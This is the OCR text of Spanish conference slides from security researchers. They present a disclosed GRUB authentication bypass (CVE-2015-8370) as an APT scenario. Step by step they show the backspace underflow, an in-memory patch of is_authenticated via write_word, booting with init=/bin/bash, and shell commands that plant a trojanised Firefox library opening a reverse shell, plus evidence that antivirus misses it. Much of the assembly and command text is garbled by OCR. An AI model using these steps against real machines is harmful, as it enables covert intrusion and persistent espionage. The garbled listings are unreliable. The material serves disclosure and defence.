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Introduccidén

« ENn APT, el calificativo “Advanced” hace referencia a las capacidades
técnicas, econdmicas, operativas, temporales, etc.

- Por ejemplo, una APT podria esperar la ocasion para tener acceso fisico a
ciertos equipos.

« Uno de los objetivos mas habituales de las APT es el robo de informacion
sensible y ciber-espionaje.

« En esta presentacion, asumiremos que para que la APT pueda introducirse
en el objetivo, la mejor o Unica forma, es mediante el acceso fisico:

- Mostraremos coOmo acceder a un sistema protegido con contrasefas, mediante la
explotacion de un 0-day de GRUB (CVE- 2015-8370).

- Este 0-day junto con el parche lo hemos notificado a: Ubuntu, Debian, RedHat,
Oracle, ...

www.ccn-cert.cni.es 3
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Investigacion de la victima

Ejemplo:

Sabemos que los comerciales de la organizacion objetivo viajan con
los portatiles.

Un comercial esta de visita en una feria y se aloja en un hotel
- Las redes WIFI de los hoteles pueden ser muy peligrosas.
— El comercial no utiliza WIFI.
Pero deja el portatil en el hotel.
El equipo tiene Windows(r) y Linux instalados.

Objetivo: Tomar el control del portatil y mantenerlo controlado.

www.ccn-cert.cni.es
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Investigacion de la victima
Informacion técnica del portatil de la victima:

Acceso a la BIOS/UEFI bloqueado por password.

Todos los dispositivos de arranque extraibles y remotos deshabilitados:
-  CDROM, DVD, USB, Netboot, PXE, ...

« EIGRUB solo carga el sistema por defecto y pide login y password para
acceder al menu de configuracion.

« No hay usuarios invitados ni usuarios sin contrasenas.
« Los datos sensibles estan en una particion cifrada.
. Todas las contrasefas son robustas.

« Solo se dispone del teclado y el monitor.
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Aplicaciones

[ Librerias }

Particion sistema

®-
[ Datos

sensibles

Initial

Setp Particion de boot Particion cifrada
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Mejor forma de acceso: bypass GRUB authentication

Init

Servidores

[ Initramfs ]

Aplicaciones

[ Librerias }

Particion sistema

®-
[ Datos

sensibles

Initial
setup

Particion de boot Particion cifrada
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Planificacion de la accidn

ORI Adquisicion/desarrollo
1. IntrUSIOn InICIaI. de herramientas

» By-pasear la autenticacion de GRUB.
« Cargar el kernel de Linux y substituir el proceso init.

2. Conseguir persistencia basica.
« Madificar una libreria de Firefox.

3. Conexion con C2.
« Conexion saliente desde la victima a nuestro C2.

www.ccn-cert.cni.es
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igaci isicion Intrusion : . Comunicacion
del objetivo ~_g# L herramientas inicial > PerS|stenC|a> c2 >>>

O-day en GRUB

. La edicion del username y password no funcionan bien en GRUB:
- No se pueden borrar “bien” los caracteres.
- Hay que introducir el username y password correctamente a la primera.

. Es cddigo de arranque y puede gque tenga intencionadamente una
funcionalidad muy limitada. Pero:

- ¢ Esun simple fallo o una vulnerabilidad explotable ?
- ¢ Puede ser de utilidad ?

www.ccn-cert.cni.es 9
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—
Investigacion Adquisicion ~ > Intrusion P Comunicacion
del objetivo herramientas g inicial Cc2

Be aware !

Hacking stuff ahead !

www.ccn-cert.cni.es 10
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Investigacion isicion ntrusion . . Comunicacion
del objetivo lerramien inici > Persistencia ) o2 >>>

_ _ Hacking GRUB
Particularidades del arranque

. Procesador ejecutando en “protected mode”.
- Memoria virtual no esta activada (ni paginacion ni segmentacion).
- No hay proteccion de memoria.
~ Juego de instrucciones de 32 bits.
- Cddigo auto-modificado es gestionado automaticamente por el procesador

. If the write affects a prefetched instruction, the prefetch queue is invalidated. v
. No es necesario vaciar la cachey la pipeline.

. No eXecutable protection (NX). &
. No Stack Smashing Protector (SSP). &
. No Address Space Layout Randomization. (ASLR). v

WWwWw.ccn-cert.cni.es 11
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Investigacién #Rlquisicion Intrusion : . Comunicacion
del objetivo > hwramientas inicial REEEEEE) o)

e Hacking GRUB
Analisis de: grub_username get ()

static int grub_username_get (char buf[], unsigned buf_size) {

g, l-lI:ISigl:ll?(} cur_len = 0; Cur_len unS|gned }

int key;

while (1){

) key = grub_getkey ();
& if (key =="\n' || key == \r') BACKSPACE ('\b’") para}
&\0 if (key == "\e') { decremetar cur_len
© rara -
} .
o if (key = \bo'fY cur_len siempre decrementa —
: grub_printf ("\b"); Integer underflow ’%ﬁ‘

continue;

b

if (!grub_isprint (key))
continue-

if (cur_len + 2 < buf_size) {

buf[ ~len++ o &
grub_printt ("% ; Buffer underflow by 2 =>}f }
+

DefenS|Ve grub_memset (buf + cur_len, 0, buf_size - cur_len);
. grub_xputs ("\n"); ﬁ
{programmlng grub_refresh (); buf+cur_len ? 0O

return (key != "\e');

"
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Investigacién Ad [Liisicion ntrusion . . Comunicacion
del objetivo ) herlmientas > inicial > Per5|sten0|a> c2 >>>

Layout de memoria:

Hacking GRUB

Machine View

OXFFff FFff - Enter username:

0x07£8 £351 grub_username get () {
code } ] )
grub_autenticantion () {
0x07eb 5339 Grub: normal. img
}
0x0007 f£fff S ——

Grub: kernel. img
0x0007 1000 } Servicios basicos genéricos para todos los GRUBs.
%0006 8000 | SCratch mem grub_rescue_run () { No es un médulo opcional.

}

0x0000 £670

code " oxFF [Segment| Offset |

0x0000 8200

IVT: Interrupt Vector Table

ox1 | Segment | Offset
0x0000 0400 \ 0§0 Segment | Offset
0x0000 0000

www.ccn-cert.cni.es 13
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Investigacion Adqu;icién Ir rusion : . Comunicacion
del objetivo > herrarflientas Ticial Pk EEER c2

Hacking GRUB

Marco de pila de
grub_memset()

17 veces backspace — Underflow

Buffer de Password

Buffer de Username

A
16 bytes Overwrite:
v Username
Direccion de retorno de grub_memset{ 0x07eb53e8 fuerade rango

WWwWw.ccn-cert.cni.es 14
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Investigacién Adquisifion Intr sion : . Comunicacion
del objetivo > herrami tas g#F in cial PRREIEIEE Cc2

_ Hacking GRUB
Marco de pila de

grub_memset()

Podemos controlar el underflow
17, 18, 19, 20,

Buffer de Password La direccion de retorno vale:
0000000000
Buffer de Username 0000000000
0000000000
f 0000000000 07 eb 53 e8—— Normal
16 bytes 0000000000
v 00000000 00 eb 53 e8—— Reboot

00 00 53 e8—— Reboot
00 00 00 e8—— Reboot
00 00 00 00— Reboot

Backspace * 17 -/‘/‘
Backspace * 18
Backspace * 19

Backspace * 20

20 0 mas =¥ jmp *0x0

WWwWw.ccn-cert.cni.es 15
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Adquisici 1—Intrus n q q Comunicacion
herramienls > inic | > Persistencia > c2

Hacking GRUB

Saltar a 0x0
« Con proteccion de memoria fallaria, pero: 8X8882
i X .
- Enladireccion 0x0 reside la tabla de vectores P 00003:
) ! A 0:0005:
de InterrUpCIon :'.-' 0x0007:
. ! 0x0009:
- Y se pueden ejecutar. 0%000b-
0x000d:
_ ; 0x000f:
i 0x0000: O0xf000ff53 0x0011:
Jll 0x0004: 0xf000f£53 0x0013:
Fl 0x0008: 0xf000e2c3 0x0015:
Pl 0:000c: 0x£000££53 SOSE
/ OxOOlOf 0xf000££53 0%001D.
11 bytes | ) 0x0018: OxfO00ff53 0x00LE -
; 0x001lc: Oxf000ff53 0x0021:
/7 0x0020: 0xf000fea5 0x0023:
f 0x0024: 0xf000e987 00026+
Oxgog 0x0028: 0xf000d67d 0x0028:

www.ccn-cert.cni.es
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0x0000:
0x0001:
0x0003:
0x0005:
0x0007:
0x0009:
0x000b:
0x000d:
0x000f:
0x0011:
0x0013:
0x0015:
0x0017:
0x0019:
0x001b:
0x001d:
0x001f:
0x0021:
0x0023:
0x0026:
0x0028:

CPU
REGS ebx [0b:¢e!

push sebx

incl ($eax)
lock push %ebx
incl (Seax)

ret

loop
push
incl
push
incl
push
incl
push
incl
push
incl
movsl
incb
xchg
add

jge

0x7£658
ecx 0x0
edx 0x0

esp 0x7f664

ebp 0x0 (0)
esi Oxffff ffed

edi 0x0 (0)
eip 0x0 (0)
esp 0x7f664

0x200046[ PF ZF ID ]

0x0005:
0x0007:
0x00009:
0x000b:
0x000d:
0x000f:
0x0011:
0x0013:
0x0015:
0x0017:
0x0019:
0x001b:
0x001d:
0x001f:
0x0021:
0x0023:
0x0026:
0x0028:

X' JORNADAS STIC CCN-CERT

B > Persistencia)

incl
ret

loop
push
incl
push
incl
push
incl
push
incl
push
incl

movsl

incb
xchg
add

%ds: (%$esi),
Top_ROM - 28

www.ccn-cert.cni.es

‘ Hacking GRUB

El registro %esi contine
el valor del indice que ha
desbordado: cur_len

Con el valor “-28” se
produce la magia:

Pulsar 28 veces :

%es: (%edi)
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...... Adauisicion. S ........... s

o i ; Comunicacion
> Per5|sten0|a> c2 >>>

0x0000: push sebx

0x0001: incl ($eax) :
0x0003: lock push %ebx HaCkIng GRUB
0x0005: incl (Seax)

0x0007: ret 0x0005: incl ($Seax)

0x0009: loop Oxb 0x0007: ret

0x000b: push sebx 0x0009: loop 0xb

0x000d: incl (%eax) 0x000b: push Sebx

0x000f: push %ebx 0x000d: incl (3eax)

0x0011: incl ($eax) 0x000f: push $ebx

0x0013: push %ebx 0x0011: incl ($Seax)

0x0015: incl (Seax) 0x0013: push Sebx

0x0017: push Sebx 0x0015: incl ($Seax)

0x0019: incl (Seax) 0x0017: push $ebx

0x001b: push $ebx 0x0019: incl (%eax)

0x001d: incl (%eax) 0x001b: push $ebx

0x001f: movsl %ds: (%egl) ,h %es ed; 0x001d: incl ($eax)

0x0021: incb (%eax) 0x001f: movsl %ds: (%esi),%es: (%edi)
0x0023: xchg sebp, 3 0x0021: incb ($eax)

0x0026: add sdh, % 0x0023: xchg %ebp, $secx

0x0028: jge 0x0 0x0026: add %dh, %al

CPU

0x7£658

ecx 0x0 (?)
edx 0x0 (?)
REGS ebx Oxd (13)

esp 0x7£664
ebp (05:40] (?)
esi Oxffff ffed (-24)
edi 0x0 (0)
eip 0x0 (0)
esp 0x7£664

0x200046[ PF ZF ID ]

0x0028:

www.ccn-cert.cni.es
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0x0000:
0x0001:
0x0003:
0x0005:
0x0007:
0x0009:
0x000b:
0x000d:
0x000f:
0x0011:
0x0013:
0x0015:
0x0017:
0x0019:
0x001b:
0x001d:
0x001f:
0x0021:
0x0023:
0x0026:
0x0028:

CPU

REGS

push
incl
lock
incl
ret
loop
push
incl
push
incl
push
incl
push
incl
push
incl
movsl
incb
xchg
add

jge

eax
ecx
edx
ebx
esp
ebp
esi
edi
eip
esp

X' JORNADAS STIC CCN-CERT

%ebx
(%eax)

push
(Seax)

$ebx

o°

0]

D o°
O OO o0
)

b

o)
b

b

o\

O 0 o~ O~ O o~ OO ~ O —~ OO —~ o°
)
o
b

0x7£658
(05:40)

0x0

0xd
0x7£664
(00:40]
Oxffff ffed
0x0

(00:40]
0x79ace
0x200046 [

PF ZF ID ]

0X0000:
0x0004:
0x0005:
0x0007:
0x0009:
0x000b:
0x000d:
0x000f:
0x0011:
0x0013:
0x0015:
0x0017:
0x0019:
0x001b:
0x001d:
0x001f:
0x0021:
0x0023:
0x0026:
0x0028:

r — —
o Adauisicitn.. o N.......... ntisidn., ) .
1 Persistencia

enter
push
incl
ret
loop
push
incl
push
incl
push
incl
push
incl
push
incl
movsl
incb
xchg
add

jge

Comunicacion
c2 -

Hacking GRUB

$0x5b66,$0x66

%$ebx

(seax) .

0xb

Sebx

($eax)

sebx 0x0009: loop  0xb

(seax) 0x000b: push  %ebx

sebx 0x000d: incl  (%eax)

(seax) 0x000f: push Sebx

sebx 0x0011: incl (%Seax)

(seax) 0x0013: push Sebx

sebx 0x0015: incl (%Seax)

(sea 0x0017: push  %ebx

bds %es: (%€ 0x0019: incl  (%eax)

(sea 0x001b: push  %ebx

sebp, 0x001d: incl  (%eax)

sdh, 0x001f: movsl %ds: (%esi), %es: (%edi)

0x0 0x0021: incb  (%eax)

’ 0x0023: xchg  %ebp, %ecx

0x0026: add %dh, %$al
0x0028: 1 0x0

www.ccn-cert.cni.es
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Investlgacién Adquisicion > Intrusion ) ) Comunicacion
del objetivo ) herramientas _ inicial REEEEEE) o)

0x73£3c
0x200046 [

PF ZF ID

0x4505b52b

| esp: Ox73f3c> 0xe00c6e80

0x77708788

www.ccn-cert.cni.es

0x0009:
0x000b:
0x000d:
0x000f:
0x0011:
0x0013:
0x0015:
0x0017:
0x0019:
0x001b:
0x001d:
0x001f:
0x0021:
0x0023:
0x0026:
0x0028:

Hacking GRUB
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o
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Adquisicion ~ > Intrusion > e Comunicacion
herramientas g inicial > Cc2 i

Llegamos a mitad de grub_rescue_run()

Hacking GRUB

void attribute noreturn void
Oxdfef: sebp #ifdef QUIET BOOT ‘! & ( :
Oxdffo0: sesp, sebp grubiprintf ("Entering rescue mode...\n");
Oxdff2: $0x24, %esp #endif
Oxdff5: $0xe90a
Oxdffa: 0xd53b # while (1)
Oxdfff: $0x10, %esp { ,
0xe002: Oxbfd2  # char *line;

0xe007: $edx, sedx , .
0xe009 0 N . /* Print an error, if any. */
xe : -0xc (%ebp) , seax grub print error ();

Oxe0lo6: 0xdf28
i i 0, NULL); \‘

grub rescue read line (&line,
if (! line || line[0] == '\O0")
continue;

grub_rescue parse line (line, grub rescue read line, NULL);
grub_free (line);

www.ccn-cert.cni.es
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B . > o b e > e > e > > >
Utilizando las funcionalidades de GRUB

GRUB rescue permite cargar Linux con los parametros que queramos.
Pero, es farragoso y lento; tiene una capacidad de edicion muy limitada.

Machine View Machine View

Enter username: grub rescuep set pager=1
grub rescue> _ grub rescue> help
5 915resolution
[ EXPRESSION ] acpi
authenticate [USERLIST] background_color COLOR
background_image [-m (stretch|normal badram
blocklist hoot
hreak [n] cat
chainloader clear
cmosclean cmostest
cmp configfile
continue [n] cpuid
crc cutmem
date drivemap
dump echao
efiemu_loadcore efiemu_prepare
efiemu_unload exit
export ENVWAR [ENVVAR] ... extract_entries_confi
extract_entries_source extract_legacy_entri
extract_legacy_entries_source false
functional_test gettext STRING
gptsync halt
hashsum hdparm
hello help [PATTERN ...
hexdump inb
initrd initrdi6
inl insmod MODULE

--MORE--

www.ccn-cert.cni.es
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— o D R R S
Utilizando las funcionalidades de GRUB

Es mejor parchear en memoria el codigo de GRUB para que siempre estemos
autenticados:

static int
is authenticated (const char *userlist)
{
const char *superusers;
- struct grub auth user *user;
static int A L
is authenticated (const char *userlist) superusers = grub_env_get ("superusers");

const char *superusers; is_authenticated:
struct grub auth user *user; - return 1; TO0x7eb512c: ;

- i ) Sebp
is_authenticated: Ox7eb512d:

N %esp, $ebp
superusers = grub env get ("superusers") 0X7Cb§12C: e ebp FOR LIST ELEMENTS (user, users) 0x7eb512f: %edi
Ox7eb512d: sesp, sebp {7 — 0x7eb5130: s sesi

;£ OxdelrTTZ1 : sedi . 3 . o o
if (!superusers) 0x7eb5130:  pus %esi if (!(user->authenticated)) 85/:E§£§ o epmenest

return 1; X 5 o RS
; ngeiizi ezxy sesi continue; 0x7eb5134: $0x7eb107c, $eax
x7eb5133: DUS %ebx : s %
. . 0x7eb5139: s $0xc, $esp
FOR LIST ELEMENTS (user, users) 0x7eb5134: $0x7ebl07c, $eax if ((userlist & grub strword (userlf 0x7eb513c: 0xbd32
{ 0x7eb5139: $0xc, sesp || grub_strword (superusers, use 0x7eb5141: 0x7eabac8, $ebx

if (!(user->authenticated)) 0x7eb513c: Oxbd32 ) return 1; PR, N
continue; 0x7eb5141: 0x7eabacs, $ebx }
! 0x7eb5147: %eax, sedi

if ((userlist && grub_strword (userli return @;
|| grub strword (superusers, use :
return 1; 0x7eb5152: j 0x7eb5189 ] 0x7eb5152: i 0x7eb5189
0x7eb5189:  a $0xc, sesp R .
return 0; 0x7eb518c: >op %ebx 0x7eb5189: e sOxc, “esP &

Ox7eb518d: :‘:es% 0x7eb518c: %ebx
Ox7eb518e: sle}e] sedi 0x7eb518d: sesi

Ox7eb518f: sebp 0x7eb518e: $edi
0x7eb5190: 0x7eb518f:

0x7eb5190:

%ebp

www.ccn-cert.cni.es
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o D I S >
Utilizando las funcionalidades de GRUB

. Moadificacion del codigo de GRUB
- Sobreescribir la condicion de salto por 4 “nops (0x90)” en is_authenticated ()

Machine View

grub r > write_word 0x7eb514e 0xS03035030
grub r > normal_

0x7eb5152: j 0x7eb5189

www.ccn-cert.cni.es 24
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e~
Adquisicion N
herramientas g

Intrusion
inicial

T D Y
Utilizando las funcionalidades de GRUB

Invesﬁgadén
del objetivo

Modificacion del cédigo de GRUB
- Sobreescribir la condicion de salto por 4 “nops (0x90)” en is_authenticated ()

Machine View Machine View
grub rescue> write_word 0x7ebS514e 0x90303030

grub rescue> normal_ GNU GRUB wersion 1.99-27+deh7u2

is_authenticated:
0x7eb512c: push
Ox7eb512d: mov
0x7eb512f: push
0x7eb5130: push

getparams 'Debian GNU/Linux, with Linux 3.2.0-4-686-pae’

load_video

0x7eb5131:
0x7eb5133:
0x7eb5134:
0x7eb5139:
0x7eb513c:
0x7eb5141:
0x7eb5147:

o

0x7eb5152:

0x7eb5189:
O0x7eb518c:
0x7eb518d:

0x7eb518f:
0x7eb5190:

mov
push
mov

%eax, $esi

sebx
$0x7ebl07¢c, $eax
$0xc, %esp
0xbd32
Ox7eabac8, $ebx
%eax, sedi

0x7eb5189

;Oxf, sesp
ebx <

'

www.ccn-cert.cni.es

insmod gzio

insmod part_msdos

insmod ext2

set root='(hd0,msdos1) '

search --no-floppy --fs-uuid --set=root 4f118900-8387-48c3-Be68-aeB1\
a35e437d

echo 'Loading Linux 3.2.0-
linux /boot/vmlinuz-3.2.0-
8-aeB1a35e437d ro guiet
echo 'Loading initial ramdisk ...
initrd sbootsinitrd. img-3.2.0-4-686-pae

86-pae ..

4-6
4-686-pae root UUID=4f118900-8387-48C3-8e6%

Minimum Emacs-like screen editing is supported. TA
completions. Press Ctrl-x or F10 to boot, Ctrl-c o
a command-line or ESC to discard edits and return
menu.
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Investigacion Adquisicion l Intrusion Comunlcacmn
-> del objetivo > herramientas g > inicial > PR

Autenticacion

desactivada
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Adquisicién Intrusion N b Persistencia Ny Comunicacion
herramientas inicial P ] Cc2

Persistencia

¢, Cifrada ?
Arranque Sistema Datos usuario - . : : :
Seguro (raiz) T Se puede infectar: ¢, Persistencia ?
No Grub, Kernel, sistema fich. V
No . . .
\ Si Grub, Kernel, sistema fich. ¥ 4
o
- No Grub, Kernel <
I
= Si [ ] Grub, Kernel LV 4
N No Sistema fich. ¥ 4
(0]
S Si || Sistema fich. ¥ 4
I
_ No Sistema fich. ¥ 4
n L) Si ) ¢
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Investlgacién Adquisicion Intrusion =~ N > Persistencia‘ Comunicacion
del objetivo herramientas inicial . N C2 .

Persistencia

ey T ) 4
No
[ \ Si Grub, Kernel, sistema fich. ¥ 4 ]
0)

»
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e Y R e R
Infectando en la particion del sistema

« Infectar una libreria usada por una aplicacion que acceda a la red.
« Enesta PoC, infectaremos la libreria 1ibplc4.so de Firefox
- Implementa funciones basicas (base64, strcmp, ...)
. Se revisa/actualiza pocas veces.
- Diferentes opciones de infeccion:
. Tomar el control del navegador cada cierto tiempo.
« Crear un nuevo proceso.
. Saltar de proceso en proceso sin crear uno nuevo.
- Solo se activa cuando algun usuario usa Firefox.
- Pondra en marcha un “reverse shell” al puerto 53
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B> r, > e T
) total No detectado por ningun antivirus

Avira ] 20151126
SHA256: 2a0fc07fBaal 1f6725b11230b9d356¢ 7a51ec45b661011ada7ead20a228911da Baidu-Intemnational ® 20151125
Nombre: libplc4-s.so BitDefender o 20151126
Detecciones: 0/55
Blkav ] 20151125
Fecha de andlisis:  2015-11-26 10:56:33 UTC ( hace 0 minutos )
ByteHero ] 20151126
CAT-QuickHeal ] 20151126
3= Andlisis @, Detalles © Informacién adicional # Comentarios ) Votos
CMC ] 20151124
Antivirus Resultado Actualizacién ClamAv (] 20151126
AlYac [] 20151126 Comodo ® 20151126
AVG @ 20151126 Cyren ] 20151126
AVware ] 20151126
Dreb ] 20151126
Ad-Aware [] 20151126
ESET-NOD32 V] 20151126
AegisLab [] 20151126
Emsisoft ] 20151126
Agnitum [] 20151125
Ahnlab-V3 e 20151126 e © 20151126
Allbaba °© 20151126 F-Secure o 20151126
Antiy-AVL [] 20151126 Fortinet (] 20151126
Arcabit e 20151126 GData ® 20151126
Avast 20151126 30
vas © J Ikarus ® 20151126
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centro cnpto\ogico nacional

T D> G > hiy S| P > I > > >
Control del sistema operativo

« Lanzar Linux con un shell sin password: init=/bin/bash

Machine View Machine  View
Booting a command list

Loading Linux 3.2.0-4-686-pae ...
Loading initial ramdisk ...

U=4-DoD-pdE ["UuL-Uu;
init=/hinshash_
e R Py !
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T D e e >
Modificacidon de la libreria

Machine View

ootP(none): modprobe usb_storage Remontar raiz y montar pendrive. }
oot@(none): mount —-o remount ~/
mkdir ush
mount ~sdevssdbl ush
oot@(none): cp usbrslibplcd.so soptsfirefoxslibplcd.so
oot@(none) : syNnc
oot@(none): umount ush
oot@(none): rmdir ush
oot@(none)d: mount -o remount,ro -
oot@(none): poweroff -f_

ii Infeccién !! }

Apagar sin dejar rastro. }
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coN-cert

centro cnpto\ogico nacional

Investigacié Adquisicién Intrusion . .
jeti herramientas inicial Persistencia

del objetivo

Host: bob@victima }
: Alice (desde C2) espera una
conexion entrante desde la victima.

CYBERSECURITY Research group at UPV - Mozilla Firefox

Host: alice@C2

g CYBERSECURITY Rese... X ~

e
(C ybersecurlty

CONIV

POLITEC iy
DEA el segmtyr earch group wﬂ:h solxd background

We do research to solve real problems with real solutions.

Background

Main Highlights
Results 0 L )
RENEWSSP: IMPROVED STACK SMASHING Dynamic memory
PROTECTOR (SSP) * TLSF
Is a new technique (Patent Pending) to Vlr alisation
augment the effectiveness of the stack
smashing protection mechanism which:
* Eliminates brute force attacks
against the canary.
* When combined with the ASLR, it has Re'aé—lglr:lel;y Stems
a multiplicative effect. (historical)
® The overhead is nealiaible, and zero
“Firefox automatically sends some data to Mozilla so that we can improve your

Code analysis and
exploitation
* Offset2lib
(bypass ASLR)
* CRTRROP
(bypass ASLR)
* Jmp2non-ssp
(bypass SSP)

Choose What | Share

“ experience.

’7\ - ‘ -—CVBERSECURITY

www.ccn-cert.cni.es
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Conclusiones
Codigo firmado # coédigo sequro:

- Lafirma de codigo solo protege contra la substitucion de los binarios, pero no
impide la explotacion de sus propias vulnerabilidades.

. Elcifrado de los discos solo es efectivo cuando el sistema esta apagado.

« No debemos subestimar los vectores de atague menos convencionales:
- Por ser menos frecuentes puede que tengan fallos latentes.

. La explotacion ha sido posible gracias a:

- Excesiva potencia de GRUB: |la complejidad es enemiga de la seqguridad.
- Y un exhaustivo analisis del codigo.

El fallo y el fix fueron notificados
a los mantenedores de GRUB y a
las principales distribuciones con

tiempo suficiente.

« Mas informacion:
- http://cybersecurity.upv.es
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